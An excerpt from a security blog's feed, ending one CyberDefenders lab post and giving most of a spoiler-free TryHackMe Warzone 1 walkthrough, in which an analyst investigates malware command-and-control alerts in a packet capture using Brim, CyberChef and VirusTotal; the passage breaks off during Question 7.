valuable real-world skill. Having hands-on time with a variety of services is a great way to start building better defenses and equipping yourself with a stronger working knowledge of threats you might encounter.&lt;/p&gt;&#xA;&lt;p&gt;I found it incredibly engaging that there was no single source that could provide all the answers for this lab — it required pivoting to several services to paint the full picture. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-oski-lab-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/oski/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/oski/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recorded Future Tria.ge:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/250509-vyp1vshq21&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tria.ge/250509-vyp1vshq21&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Credentials from Password Stores (T1555):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1555/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1555/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Indicator Removal: File Deletion (T1070.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1070/004/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Warzone 1 Room Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/</link>
            <pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/Warzone.png&#34; alt=&#34;Featured image of post TryHackMe  —  Warzone 1 Room Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmewarzone-1-room-walkthrough&#34;&gt;TryHackMe — Warzone 1 Room Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-network-packet-capture-investigation-using-brimzui-wireshark-and-virustotal&#34;&gt;A Network Packet Capture Investigation Using Brim/Zui, Wireshark, and VirusTotal.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/Warzone.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzoneone&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/warzoneone&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve &lt;em&gt;stumbled&lt;/em&gt; across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzoneone&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Warzone 1&lt;/strong&gt;&lt;/a&gt; room from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This challenge is a fantastic introduction to forensic network packet analysis — let’s check out the scenario below.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Today you’re tasked with monitoring network alerts.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A few minutes into your shift, you get your first network case: &lt;strong&gt;Potentially Bad Traffic&lt;/strong&gt; and &lt;strong&gt;Malware Command and Control Activity detected&lt;/strong&gt;. Your race against the clock starts. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this challenge, we’re stepping into the shoes of a Security Analyst at an MSSP, monitoring network traffic alerts for one of our customers when suddenly, an alert fires from their IDS/IPS — Uh-Oh! We collect a network packet capture file, or PCAP, and need to quickly determine if this is a true positive alert by analyzing the artifacts within the traffic.&lt;/p&gt;&#xA;&lt;p&gt;Okay, deep breaths — what’s in our toolkit for this investigation? We’ll be busting out a couple of essential network packet analysis tools including &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brim&lt;/strong&gt;&lt;/a&gt; (now called &lt;em&gt;ZUI&lt;/em&gt;) to process, search, and analyze the PCAP, and then pivoting to &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt; for deep packet inspection. We’ll also enrich our findings by consulting &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to add context to any indicators of compromise (IOCs) we discover.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;In the spirit of learning, this walkthrough will be &lt;strong&gt;spoiler-free.&lt;/strong&gt; But if you find it helpful — whether it levels-up your skills, gets you over a &lt;em&gt;stumbling&lt;/em&gt; block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-was-the-alert-signature-formalware-command-and-control-activity-detected&#34;&gt;Question 1: What was the alert signature for &lt;strong&gt;Malware Command and Control Activity Detected&lt;/strong&gt;?&#xA;&lt;/h3&gt;&lt;p&gt;Once in our analysis environment, let’s get acquainted with our toolset so we can start forming a plan. You’ll find everything we need in the &lt;code&gt;Tools&lt;/code&gt; folder on the Desktop.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cde47a6cc5979cf36820b96dd172a404_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;290px&#34; data-flex-grow=&#34;121&#34; height=&#34;661&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/cde47a6cc5979cf36820b96dd172a404_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the Tools folder&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we’re searching for an alert signature. So, our first stop will be to use &lt;strong&gt;Brim&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://www.brimdata.io/blog/brim-app-will-be-zui/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;now called &lt;strong&gt;Zui&lt;/strong&gt;&lt;/a&gt;) because it has the ability to use &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Suricata&lt;/strong&gt;&lt;/a&gt; intrusion detection rules to help quickly identify threats or malicious traffic within the packet capture.&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and launch it — and speaking of packet captures, once &lt;em&gt;Brim&lt;/em&gt; is open, load the challenge file &lt;code&gt;Zone1.pcap&lt;/code&gt; , and wait for it to process the capture file.&lt;/p&gt;&#xA;&lt;p&gt;Once the file is loaded, let’s get an overview of the &lt;em&gt;Suricata&lt;/em&gt; rule hits detected in the network traffic. Select the &lt;code&gt;Zone1.pcap&lt;/code&gt; file, click &lt;em&gt;Suricata Alerts by Category&lt;/em&gt; under the &lt;em&gt;Queries&lt;/em&gt; header, and review the displayed alert categories.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;54513492fc79a0483d89f552f4326121_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;362px&#34; data-flex-grow=&#34;150&#34; height=&#34;530&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/54513492fc79a0483d89f552f4326121_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Overview of Suricata Alerts by Category&lt;/p&gt;&#xA;&lt;p&gt;We’re going to focus on &lt;em&gt;Malware Command and Control Activity Detected&lt;/em&gt; since that’s what the question is asking about. Our next step is to find the &lt;em&gt;alert signature&lt;/em&gt; for this category.&lt;/p&gt;&#xA;&lt;p&gt;To do this, right-click the &lt;em&gt;Malware Command and Control Activity Detected&lt;/em&gt; row and select &lt;em&gt;New search with this value&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;60f3aeac614c62d9df7affa6b5c76510_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/60f3aeac614c62d9df7affa6b5c76510_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Selecting &lt;em&gt;New search with the Malware Command and Control value.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This selection adjusts the query to display packets matching the &lt;em&gt;Suricata&lt;/em&gt; rule — and more importantly, it reveals the details we need to answer &lt;strong&gt;Question 1&lt;/strong&gt; under the &lt;code&gt;alert.signature&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f78586d56891108eedd7d3aa30847c9c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/f78586d56891108eedd7d3aa30847c9c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the alert signature.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f1fec1b24b58693bfdc34753e2c7d947_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/f1fec1b24b58693bfdc34753e2c7d947_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-source-ip-address-enter-your-answer-in-adefangedformat&#34;&gt;Question 2: What is the source IP address? Enter your answer in a &lt;strong&gt;defanged&lt;/strong&gt; format.&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to determine the source IP address of the malware traffic. Fortunately, we can continue working in the same view we used in &lt;strong&gt;Question 1&lt;/strong&gt;, this time focusing on the &lt;code&gt;src_ip&lt;/code&gt; column, which contains — you guessed it, the source IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;491c74518b3f6ea63479ef6f2d81cbe5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/491c74518b3f6ea63479ef6f2d81cbe5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the source IP address of the malicious traffic&lt;/p&gt;&#xA;&lt;p&gt;But before we can submit the answer, we need to &lt;em&gt;defang&lt;/em&gt; the IP address. This is a common practice to ensure that malicious IPs and URLs aren’t accidentally clicked. While this is easy to do manually, let’s work a little smarter and use &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; for the task.&lt;/p&gt;&#xA;&lt;p&gt;The offline version of &lt;em&gt;CyberChef&lt;/em&gt; is included in the &lt;code&gt;Tools&lt;/code&gt; folder, but the &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;online&lt;/a&gt; version works just as well. To defang the source IP address:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;em&gt;CyberChef.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;em&gt;Defang IP Addresses&lt;/em&gt; operation.&lt;/li&gt;&#xA;&lt;li&gt;Paste the source IP address into the &lt;em&gt;Input&lt;/em&gt; field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And voilà — we have the defanged IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c04b1082f020fdd650a32a3fbf5db813_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;242px&#34; data-flex-grow=&#34;100&#34; height=&#34;713&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/c04b1082f020fdd650a32a3fbf5db813_MD5.png&#34; width=&#34;719&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Defanging an IP address&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c0e4ee168651203df89bc103bdaa59fc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2782px&#34; data-flex-grow=&#34;1159&#34; height=&#34;69&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/c0e4ee168651203df89bc103bdaa59fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-ip-address-was-the-destination-ip-in-the-alert-enter-your-answer-in-adefangedformat&#34;&gt;Question 3: What IP address was the destination IP in the alert? Enter your answer in a &lt;strong&gt;defanged&lt;/strong&gt; format.&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 3, we need to identify and defang the destination IP address of the malicious traffic. This process is exactly the same as in Question 2, except this time we’ll focus on the &lt;code&gt;dest_ip&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;Once you’ve located the destination IP, open CyberChef, select the &lt;em&gt;Defang IP Addresses&lt;/em&gt; operation, and paste the IP into the &lt;em&gt;Input&lt;/em&gt; field to generate the defanged version.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1d38799f88f80a71563358fdf6347b8c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/1d38799f88f80a71563358fdf6347b8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the destination IP address of the malicious traffic&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;59f52c5f52dfaab14a9c5200e45571af_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/59f52c5f52dfaab14a9c5200e45571af_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-still-in-virustotal-undercommunity-what-threat-group-is-attributed-to-this-ipaddress&#34;&gt;Question 4: Still in VirusTotal, under &lt;strong&gt;Community&lt;/strong&gt;, what threat group is attributed to this IP address?&#xA;&lt;/h3&gt;&lt;p&gt;The phrasing for &lt;strong&gt;Question 4&lt;/strong&gt; is a bit misleading. To uncover what threat group is attributed to the destination IP address we found in &lt;strong&gt;Question 3&lt;/strong&gt;, we need to pivot out to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, an online threat analysis and sharing platform, to look up more information from the community.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;272212ca6e8c9fb8dc154fd6eeeb3e04_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;583px&#34; data-flex-grow=&#34;243&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/272212ca6e8c9fb8dc154fd6eeeb3e04_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Performing a VirusTotal lookup&lt;/p&gt;&#xA;&lt;p&gt;In a real-world scenario, some versions of &lt;em&gt;Brim&lt;/em&gt; support right-click context menu integrations that allow you to pivot directly to &lt;em&gt;VirusTotal&lt;/em&gt; for IP lookups. Since the THM analysis environment doesn’t have open web access, we can’t get to &lt;em&gt;VirusTotal&lt;/em&gt; this way. Instead, we’ll copy the destination IP and navigate to &lt;em&gt;VirusTotal&lt;/em&gt; in another web browser. Then, paste the IP into the search field.&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve input the IP address, we’ll see that several providers flag it as malicious. Let’s turn to the &lt;em&gt;Community&lt;/em&gt; tab to see if we can learn anything about the threat group attributed to this IP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;abfaa0a39740ea130ff5c8a159d2b409_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;711px&#34; data-flex-grow=&#34;296&#34; height=&#34;270&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/abfaa0a39740ea130ff5c8a159d2b409_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Searching the malicious destination IP address&lt;/p&gt;&#xA;&lt;p&gt;We’ll find that several community graphs include this IP address, and some mention a specific threat actor. Look for the tag with the &lt;code&gt;TA&lt;/code&gt; prefix—this is the group we’re looking for. If you want more information about this threat group, check out the corresponding entry on &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0092/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;https://attack.mitre.org/groups/G0092/&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;470eccefcc7ea5afc7bde4a1a9d0756e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/470eccefcc7ea5afc7bde4a1a9d0756e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-malwarefamily&#34;&gt;Question 5: What is the malware family?&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 5, we now need to identify the name of the malware leveraged by the threat group. You may have already noticed the malware name in the &lt;code&gt;alert.signature&lt;/code&gt; field from the &lt;em&gt;Suricata&lt;/em&gt; alert in &lt;em&gt;Brim&lt;/em&gt;, but we can cross-reference this by reviewing and confirming the &lt;em&gt;VirusTotal&lt;/em&gt; community graph tags—nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;83a16058a3dcb151d4de97e01aa9fd12_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;711px&#34; data-flex-grow=&#34;296&#34; height=&#34;270&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/83a16058a3dcb151d4de97e01aa9fd12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the malware family&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;df0a484cbbce823bc3909ded4e81d276_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/df0a484cbbce823bc3909ded4e81d276_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-do-a-search-in-virustotal-for-the-domain-from-question-4-what-was-the-majority-file-type-listed-undercommunicating-files&#34;&gt;Question 6: Do a search in VirusTotal for the domain from question 4. What was the majority file type listed under &lt;strong&gt;Communicating Files&lt;/strong&gt;?&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Question 6&lt;/strong&gt; is a bit confusing, since it seems like there is a missing step in the challenge. So far, we haven’t located a domain — only an IP address. That’s okay, though, we’ll adapt and try another approach.&lt;/p&gt;&#xA;&lt;p&gt;Within our &lt;em&gt;VirusTotal&lt;/em&gt; search page for the malicious IP address, navigate to the &lt;em&gt;Relations&lt;/em&gt; tab and look at the &lt;em&gt;Communicating Files&lt;/em&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;The question is tricky because the majority file type is &lt;code&gt;Win32 EXE&lt;/code&gt;, but the expected answer format seems to match another communicating file type — this is the one we’re looking for. Not the most precise way of answering this, but it got the job done!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6cb36754c5299f57be423a8fcc7fde74_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;267px&#34; data-flex-grow=&#34;111&#34; height=&#34;717&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/6cb36754c5299f57be423a8fcc7fde74_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying communicating file types&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6824fb66e8c76fb892fdbe2802d1518f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/6824fb66e8c76fb892fdbe2802d1518f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-inspect-the-web-traffic-for-the-flagged-ip-address-what-is-theuser-agentin-thetraffic&#34;&gt;Question 7: Inspect the web traffic for the flagged IP address; what is the &lt;strong&gt;user-agent&lt;/strong&gt; in the traffic?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let’s return to &lt;em&gt;Brim&lt;/em&gt;. Our next task is to search for the malicious destination IP we’ve been examining. To do this, enter the IP address into the search box and press &lt;code&gt;ENTER&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There’s a lot of information to sift through, but let’s focus on the first three events — they contain all the data we’ll need.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3553322ec99895883aac554c8433ed34_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/3553322ec99895883aac554c8433ed34_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying a suspicious user agent in the traffic&lt;/p&gt;&#xA;&lt;p&gt;Notice the second alert type for &lt;em&gt;Suspicious User-Agent (REBOL)&lt;/em&gt;? Take a closer look at the following &lt;code&gt;http&lt;/code&gt; event (the third 